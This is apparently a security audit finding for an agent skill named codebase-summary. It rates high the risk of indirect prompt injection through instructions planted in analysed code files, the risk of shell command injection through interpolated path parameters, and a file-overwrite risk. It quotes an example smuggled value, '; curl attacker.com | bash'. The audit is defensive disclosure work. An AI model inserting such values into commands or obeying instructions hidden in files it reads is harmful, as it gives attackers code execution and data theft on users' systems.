The Agent Skills Directory

Indirect Prompt Injection (HIGH): The skill is highly vulnerable to Indirect Prompt Injection (Category 8). It is designed to ingest the entire content of an untrusted codebase to produce an 'AI-optimized knowledge base' (index.md).
Ingestion points: Every file within the directory specified by codebase_path is analyzed by the scripts and potentially summarized.
Boundary markers: Absent. There are no delimiters or 'ignore instructions' warnings provided to the agent to distinguish between documentation and malicious instructions embedded in the analyzed code.
Capability inventory: The skill allows for shell execution (via local scripts), file modification (writing documentation), and 'consolidation' of summaries into root files like README.md.
Sanitization: Absent. Content is extracted and formatted into documentation that the agent is explicitly instructed to use as its 'primary context'.
Risk: An attacker could place malicious instructions inside a codebase file (e.g., inside a comment or a README) that, when summarized, instructs the AI agent to perform unauthorized actions like exfiltrating data or modifying the system.
Command Execution (HIGH): The skill workflow in SKILL.md constructs shell commands using string interpolation of user-provided parameters (codebase_path, output_dir).
Evidence: python {baseDir}/scripts/analyze_structure.py "{codebase_path}" --depth 4 --output "{output_dir}/codebase_info.md".
Risk: If these parameters are not strictly validated or escaped by the agent, a malicious path containing shell metacharacters (e.g., ; curl attacker.com | bash) could lead to arbitrary command execution on the host system.
Privilege Escalation (MEDIUM): The consolidate feature (Category 5) allows the agent to write data to the root of the codebase. If the consolidate_target parameter is manipulated, or if the agent is directed to a sensitive directory via codebase_path, it could be used to overwrite critical system configuration files or startup scripts.

codebase-summary